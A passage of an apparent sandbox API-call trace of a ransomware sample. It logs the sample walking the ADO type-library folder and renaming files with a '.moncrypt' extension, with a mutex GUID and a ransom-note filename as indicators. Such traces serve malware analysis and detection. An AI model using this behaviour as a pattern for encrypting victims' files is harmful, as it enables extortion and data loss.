lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msado20.tlbe", lpUsedDefaultChar=0x0) returned 4 [0056.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 0x54e200 [0056.763] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.763] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.763] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", dwFileAttributes=0x20) returned 0 [0056.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.moncrypt")) returned 0 [0056.768] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.768] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.768] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.768] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.768] GlobalUnlock (hMem=0x44000c) returned 0 [0056.768] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.768] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.768] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.768] GlobalUnlock (hMem=0x44000c) returned 0 [0056.768] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.768] GlobalUnlock (hMem=0x440004) returned 0 [0056.768] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.768] CharLowerBuffW (in: lpsz="msado21.tlb", cchLength=0xb | out: lpsz="msado21.tlb") returned 0xb [0056.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.769] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msado21.tlbe", lpUsedDefaultChar=0x0) returned 4 [0056.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 0x54e200 [0056.769] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.769] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.769] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", dwFileAttributes=0x20) returned 0 [0056.770] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.moncrypt")) returned 0 [0056.770] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.770] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.770] GlobalLock (hMem=0x440004) returned 0x550170 [0056.770] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.770] GlobalUnlock (hMem=0x440004) returned 0 [0056.770] GlobalLock (hMem=0x440004) returned 0x550170 [0056.770] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.770] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.770] GlobalUnlock (hMem=0x440004) returned 0 [0056.770] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.770] GlobalUnlock (hMem=0x44000c) returned 0 [0056.770] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.770] CharLowerBuffW (in: lpsz="msado25.tlb", cchLength=0xb | out: lpsz="msado25.tlb") returned 0xb [0056.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", cchWideChar=52, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlbe", lpUsedDefaultChar=0x0) returned 52 [0056.771] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msado25.tlbe", lpUsedDefaultChar=0x0) returned 4 [0056.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 0x54e200 [0056.771] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.771] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.771] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", dwFileAttributes=0x20) returned 0 [0056.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.moncrypt")) returned 0 [0056.772] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0056.772] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.772] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.772] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.772] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.772] GlobalUnlock (hMem=0x44000c) returned 0 [0056.772] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.772] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.772] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.772] GlobalUnlock (hMem=0x44000c) returned 0 [0056.772] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.772] GlobalUnlock (hMem=0x440004) returned 0 [0056.773] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.773] CharLowerBuffW (in: lpsz="msado26.tlb", cchLength=0xb | out: lpsz="msado26.tlb") returned 0xb [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", cchWideChar=52, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlbe", lpUsedDefaultChar=0x0) returned 52 [0056.773] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msado26.tlbe", lpUsedDefaultChar=0x0) returned 4 [0056.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 0x54e200 [0056.774] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.774] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.774] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", dwFileAttributes=0x20) returned 0 [0056.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.moncrypt")) returned 0 [0056.789] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0056.789] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.789] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.789] GlobalLock (hMem=0x440004) returned 0x550170 [0056.789] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.789] GlobalUnlock (hMem=0x440004) returned 0 [0056.789] GlobalLock (hMem=0x440004) returned 0x550170 [0056.789] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.789] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.789] GlobalUnlock (hMem=0x440004) returned 0 [0056.789] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.789] GlobalUnlock (hMem=0x44000c) returned 0 [0056.789] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.790] CharLowerBuffW (in: lpsz="msado27.tlb", cchLength=0xb | out: lpsz="msado27.tlb") returned 0xb [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] 